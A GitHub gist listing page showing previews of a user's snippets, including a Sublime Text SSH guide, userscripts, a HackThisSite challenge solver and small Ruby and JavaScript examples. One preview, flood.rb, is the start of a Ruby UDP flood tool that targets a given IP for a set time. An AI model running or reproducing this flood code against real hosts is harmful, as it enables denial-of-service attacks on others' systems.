Skip to content

Instantly share code, notes, and snippets.

@Ninjex
Ninjex / rsub-doc.md
Last active August 26, 2022 10:57
How to: Setting up Sublime Text to work through an SSH tunnel.

First, you need to install the Sublime Text package manager.

To do this, open up Sublime Text, and hit hit the cntrl+p key binding (or navigate to: Preferences -> Package Control)

When prompted for the search query, type the following: 'Package Control: Install Package'

Press enter, and shortly it should generate a list of plugins that can be installed to Sublime.

Search for the following plugin: 'RemoteOpen' and press enter. This will begin the installation.

@Ninjex
Ninjex / check-in-sid.js
Last active November 17, 2020 01:25
AmznSauce
current_url = window.location.href;
if (window.addEventListener) {
window.addEventListener("storage", handler, false);
} else {
window.attachEvent("onstorage", handler);
};
function handler(e) {
sids = JSON.parse(localStorage['sids']);
@Ninjex
Ninjex / main.rb
Last active December 21, 2019 20:58
Hackthisite Programming 2 (Requires Mechanize and RMagick gems) -- Autocompletion
#!/usr/bin/ruby
# ███▄ █ ██▓ ███▄ █ ▄▄▄██▀▀▀▓█████ ▒██ ██▒
# ██ ▀█ █ ▓██▒ ██ ▀█ █ ▒██ ▓█ ▀ ▒▒ █ █ ▒░
# ▓██ ▀█ ██▒▒██▒▓██ ▀█ ██▒ ░██ ▒███ ░░ █ ░
# ▓██▒ ▐▌██▒░██░▓██▒ ▐▌██▒▓██▄██▓ ▒▓█ ▄ ░ █ █ ▒
# ▒██░ ▓██░░██░▒██░ ▓██░ ▓███▒ ░▒████▒▒██▒ ▒██▒
# ░ ▒░ ▒ ▒ ░▓ ░ ▒░ ▒ ▒ ▒▓▒▒░ ░░ ▒░ ░▒▒ ░ ░▓ ░
# ░ ░░ ░ ▒░ ▒ ░░ ░░ ░ ▒░ ▒ ░▒░ ░ ░ ░░░ ░▒ ░
# ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
# ░ ░ ░ ░ ░ ░ ░ ░ ░
@Ninjex
Ninjex / flood.rb
Last active July 19, 2018 01:42
Ruby UDP Flood
#!/usr/bin/ruby
require 'socket'
if ARGV[0] == '-ip' then ip = ARGV[1] end
if ARGV[2] == '-t' then seconds = ARGV[3].to_i end
if ARGV[2].nil? || ARGV[2].empty? then abort "Usage: ruby flood.rb -ip <ip address> -t <time in seconds>" end
bytes = 'Z' * 1000
def get_time(one, two)
(two - one).to_i
end
puts "UDP flooding IP: #{ip} for #{seconds} seconds!"
@Ninjex
Ninjex / MD5Pass.js
Last active January 10, 2018 10:42
MD5Pass
// ==UserScript==
// @name MDPass
// @namespace *
// @include https://*/*
// @description View parital MD5 values of password fields for visual comparison.
// @version 1
// @require http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.js
// @grant none
// ==/UserScript==
@Ninjex
Ninjex / ko.js
Last active February 4, 2017 12:02
pwn the ko
// ==UserScript==
// @name FANS Poller
// @namespace https://fcswat-us.aka.amazon.com/workflow/init
// @description manages the display tabs
// @include https://fcswat-us.aka.amazon.com/workflow/init
// @version 1
// @grant none
// ==/UserScript==
// workflow message
<h1 class="logo">
<span class="word1">scram</span> <br />
<span class="word2">solutions</span>
</h1>
<div class="form">
<ul class="tab-group">
<li class="tab active"><a href="#signup">Scrambled Words</a></li>
<li class="tab"><a href="#login">Word List</a></li>
function sleep(milliseconds) {
var start = new Date().getTime();
for (var i = 0; i < 1e7; i++) {
if ((new Date().getTime() - start) > milliseconds){
break;
}
}
}
function unscramble() {
@Ninjex
Ninjex / controller.rb
Created May 11, 2016 21:07
Base64 Encode / Decode Script
def base64
@data = params[:data]
@choice = params[:choice]
if !["encode", "decode"].include?(@choice)
render :action => 'base64'
end
end
@Ninjex
Ninjex / employee.rb
Created December 17, 2014 16:22
Class Employee Example
#!/usr/bin/ruby
# Find users in the Employee hash by using their last name + first name (needs to be unique)
class Employee
attr_reader :f_name, :l_name, :email, :phone
EMPLOYEE = {}
AREA_CODE = 555 # This is just to generate number in a specific area code
PROMPT = '> '
def initialize(f_name, l_name, email, phone)
@f_name = f_name
@l_name = l_name